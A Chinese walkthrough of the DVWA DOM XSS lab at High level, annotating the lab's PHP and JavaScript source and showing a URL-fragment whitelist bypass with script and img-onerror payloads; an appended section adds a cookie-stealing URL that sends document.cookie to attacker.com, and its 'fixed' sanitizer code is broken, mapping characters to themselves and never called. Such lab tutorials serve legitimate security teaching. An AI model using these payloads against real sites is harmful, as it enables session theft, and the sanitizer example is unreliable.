DVWA靶场通关笔记-XSS DOM(High级别)

目录

一、XSS

二、DOM型XSS

三、代码分析

1、index.php

2、High.php

3、渗透思路

四、渗透实战

1、渗透准备

2、采用Script标签绕过

3、采用IMG标签绕过


DVWA(Damn Vulnerable Web Application)中的 XSS DOM关卡是用于练习和演示 DOM XSS的不同场景,不同安全等级存在不同的脆弱点和绕过方法,本小节对高等级别(High)关卡进行渗透实战。

一、XSS

XSS(Cross-Site Scripting) 指的是攻击者通过在网页中注入恶意脚本,当用户访问该页面时,脚本会在用户浏览器中执行,从而窃取用户数据、会话信息或进行其他恶意操作。核心原理就是未对用户输入或输出进行适当过滤,导致恶意代码被浏览器解析执行。

XSS类型

位置

数据流向

反射型 XSS

服务器端

用户输入 → 服务器 → 响应中包含恶意代码

存储型 XSS

服务器端

用户输入 → 存储(数据库) → 所有用户访问时触发

DOM XSS

客户端 JavaScript 代码

用户输入 → 浏览器 DOM 操作 → 执行恶意代码

二、DOM型XSS

DOM 型 XSS(Document Object Model Cross-Site Scripting) 是一种特殊的 XSS 攻击,其注入点存在于客户端 JavaScript 代码中,而非服务器端。攻击者通过操控网页的 DOM 环境(如 URL 参数、表单输入等),诱导浏览器执行恶意脚本,无需服务器参与。

方面普通XSSDOM XSS
检测工具传统扫描工具可分析HTTP响应内容需动态分析JS代码和DOM操作
防御位置服务器端过滤(如转义<>客户端转义 + 避免危险的DOM操作
WAF防护可通过拦截恶意HTTP请求防御通常无效(攻击数据可能不发送到服务器)

三、代码分析

1、index.php

进入DVWA靶场源目录,找到index.php源码。

这段代码是DVWA(Damn Vulnerable Web Application)中DOM型XSS的演示页面,主要功能是:

  • 根据用户选择的语言生成一个下拉菜单。
  • 当用户提交选择后,URL中会包含default=参数。
  • 页面JavaScript会读取URL参数并动态生成选项。

 详细注释后的代码如下所示。

<?php
// 设置根目录路径
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
// 引入DVWA页面初始化文件
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

// 启动页面,要求认证和PHPIDS保护
dvwaPageStartup( array( 'authenticated', 'phpids' ) );

// 创建新页面
$page = dvwaPageNewGrab();
// 设置页面标题
$page[ 'title' ]   = 'Vulnerability: DOM Based Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'xss_d';
$page[ 'help_button' ]   = 'xss_d';
$page[ 'source_button' ] = 'xss_d';

// 连接数据库
dvwaDatabaseConnect();

// 根据安全等级选择对应的级别文件
$vulnerabilityFile = '';
switch( $_COOKIE[ 'security' ] ) {
    case 'low':
        $vulnerabilityFile = 'low.php';
        break;
    case 'medium':
        $vulnerabilityFile = 'medium.php';
        break;
    case 'high':
        $vulnerabilityFile = 'high.php';
        break;
    default:
        $vulnerabilityFile = 'impossible.php';
        break;
}

// c
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_d/source/{$vulnerabilityFile}";

// 对于impossible级别,不进行URI解码
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
    $decodeURI = "";
}

// 构建页面主体
$page[ 'body' ] = <<<EOF
<div class="body_padded">
    <h1>Vulnerability: DOM Based Cross Site Scripting (XSS)</h1>

    <div class="vulnerable_code_area">
        <p>Please choose a language:</p>

        <form name="XSS" method="GET">
            <select name="default">
                <script>
                    // 检查URL中是否包含default参数
                    if (document.location.href.indexOf("default=") >= 0) {
                        // 提取default参数值
                        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                        // 动态写入选项
                        document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
                        document.write("<option value='' disabled='disabled'>----</option>");
                    }
                        
                    // 写入固定选项
                    document.write("<option value='English'>English</option>");
                    document.write("<option value='French'>French</option>");
                    document.write("<option value='Spanish'>Spanish</option>");
                    document.write("<option value='German'>German</option>");
                </script>
            </select>
            <input type="submit" value="Select" />
        </form>
    </div>
EOF;

// 添加更多信息链接
$page[ 'body' ] .= "
    <h2>More Information</h2>
    <ul>
        <li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ) . "</li>
        <li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)' ) . "</li>
        <li>" . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/blog/articles/dom-xss-explained/' ) . "</li>
    </ul>
</div>\n";

// 输出页面
dvwaHtmlEcho( $page );

?>

2、High.php

打开源码High.php,分析可知这段代码使用switch方法的白名单过滤了XSS注入,如下所示。

分析代码,当前防护措施如下所示。

  • 参数检查:检查URL中是否存在default参数(如?default=English),且值不为null
  • 白名单验证:只允许FrenchEnglishGermanSpanish四个值,其他值会触发重定向到默认英语选项。
  • 防御性设计:通过白名单强制无效输入回退到安全默认值,避免不可控输入。

详细注释后的源码如下所示。

<?php
// 检查是否存在名为"default"的GET参数且其值不为null
if (array_key_exists("default", $_GET) && !is_null($_GET['default'])) {
    
    # 白名单允许的语言选项
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # 如果是白名单中的语言,不做任何操作,继续执行后续代码
            break;
        default:
            # 如果不在白名单中,重定向到?default=English
            header("location: ?default=English");
            exit; // 终止脚本执行
    }
}
?>

3、渗透思路

由于源码器使用了switch白名单的方式,判断参数中的值是不是所规定的四种(FrenchEnglishGermanSpanish),所以服务端是无法通过除此之外的其他内容绕过。

但还有一种绕过方式:

  • 使用#符号来使URL传入内容被截断,URL栏的 # 号之后的内容并不会发送至服务器端
  • 但是js语言中#号并不会被截断,会使得default传入的所有内容都会完整传入。

综上,当注入语句配置为“白名单的四个词+空格+#+原始注入语句”时,就可以实现URL白名单绕过,js可以传入完整的注入语句,从而实现$_GET['default']传递的值刚刚好为白名单内的值,使绕过验证,又实现了前端加载攻击语句。

四、渗透实战

1、渗透准备

配置security为High级别,如下所示。

进入DVWA靶场XSS DOM关卡High级别,选择English,此时完整URL地址如下所示。

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English

2、采用Script标签绕过

尝试注入XSS语句<script>alert('mooyuan')</script>,参考Low关卡,注入语句仍为<script>alert('mooyuan')</script>,针对本关卡,注入语句前增加French空格#号,注入语句如下所示。

French #<script>alert('mooyuan')</script>

3、采用IMG标签绕过

尝试注入XSS语句<img src=0 οnerrοr=alert('mooyuan')>,参考Medium关卡,构造单select闭合,语句变为</select><img src=0 οnerrοr=alert('mooyuan')>。针对本关卡,注入语句前增加English空格#号,注入语句如下所示。

English #</select><img src=0 onerror=alert('mooyuan')>

### DVWA靶场XSS (DOM)漏洞的利用教程 在DVWA(Damn Vulnerable Web Application)靶场环境中,XSS (DOM)漏洞是一种基于客户端的跨站脚本攻击形式。与反射和存储XSS不同,DOMXSS不依赖服务器端的数据处理,而是通过浏览器对DOM(文档对象模)的操作来触发恶意脚本执行。 #### 漏洞原理 DOMXSS的核心在于应用程序使用了不可信的数据源来动态修改页面内容。例如,JavaScript可能会从URL参数、表单输入或其他用户提供的数据中提取信息,并将其直接插入到DOM中。如果这些数据没有经过适当的编码或过滤,攻击者可以注入恶意脚本,从而在受害者的浏览器中执行[^2]。 #### 常见触发点 - **URL参数**:如`window.location.hash`、`document.URL`等。 - **用户输入**:如文本框、下拉菜单选择等。 - **本地存储**:如`localStorage`、`sessionStorage`中的数据。 #### 利用步骤 1. **分析目标页面**: 打开DVWA靶场中的XSS (DOM)模块,观察页面行为。通常,该页面会根据URL参数(如`default`)来设置某些页面元素的内容。例如,以下代码片段展示了如何将URL参数传递给前端并修改DOM: ```javascript var pos = document.URL.indexOf("default=") + 8; var lang = document.URL.substring(pos, document.URL.length); document.write("<option value='" + lang + "'>" + decodeURIComponent(lang) + "</option>"); ``` 这段代码直接从URL中提取参数并写入页面,未进行任何安全处理,因此存在DOMXSS漏洞[^3]。 2. **构造恶意输入**: 攻击者可以通过构造特定的URL来注入恶意脚本。例如,假设目标页面允许通过`default`参数控制下拉菜单选项,攻击者可以构造如下URL: ``` http://dvwa/vulnerabilities/xss_d/#!%22%3E%3Cscript%3Ealert('xss')%3C/script%3E ``` 当用户访问此链接时,浏览器会解析并执行嵌入的JavaScript代码,弹出一个警告框,显示“xss”。 3. **窃取Cookie**: 更高级的攻击可能涉及窃取用户的敏感信息,如Cookie。攻击者可以构造一个包含恶意脚本的URL,将用户的Cookie发送到远程服务器: ``` http://dvwa/vulnerabilities/xss_d/#!%22%3E%20%3Cscript%3Edocument.location='http://attacker.com/steal?cookie='+document.cookie;%3C/script%3E ``` 在这个例子中,当用户访问该链接时,浏览器会将当前页面的Cookie作为查询参数附加到`http://attacker.com/steal`上,攻击者可以在服务器日志中捕获这些信息[^2]。 4. **防御措施** - **避免直接操作DOM**:尽量减少使用`document.write()`或`innerHTML`等方法,改用更安全的方式更新页面内容。 - **对输入进行编码**:确保所有用户输入在插入到HTML、JavaScript或URL中之前都进行了适当的编码。 - **使用CSP(内容安全策略)**:通过设置HTTP头`Content-Security-Policy`,限制页面只能加载指定来源的脚本,防止未经授权的脚本执行。 #### 示例代码 以下是一个简单的DOMXSS漏洞示例及其修复方案: ##### 存在漏洞的代码 ```html <script> var hash = window.location.hash.substring(1); document.getElementById("content").innerHTML = hash; </script> <div id="content"></div> ``` ##### 修复后的代码 ```html <script> function sanitizeInput(input) { return input.replace(/[&<>"'`]/g, function(match) { return ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''', '`': '`' })[match]; }); } var hash = window.location.hash.substring(1); document.getElementById("content").textContent = hash; </script> <div id="content"></div> ``` 在修复后的代码中,使用了`textContent`属性代替`innerHTML`,并且添加了一个简单的输入清理函数`sanitizeInput`,以防止特殊字符被解释为HTML或JavaScript代码。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值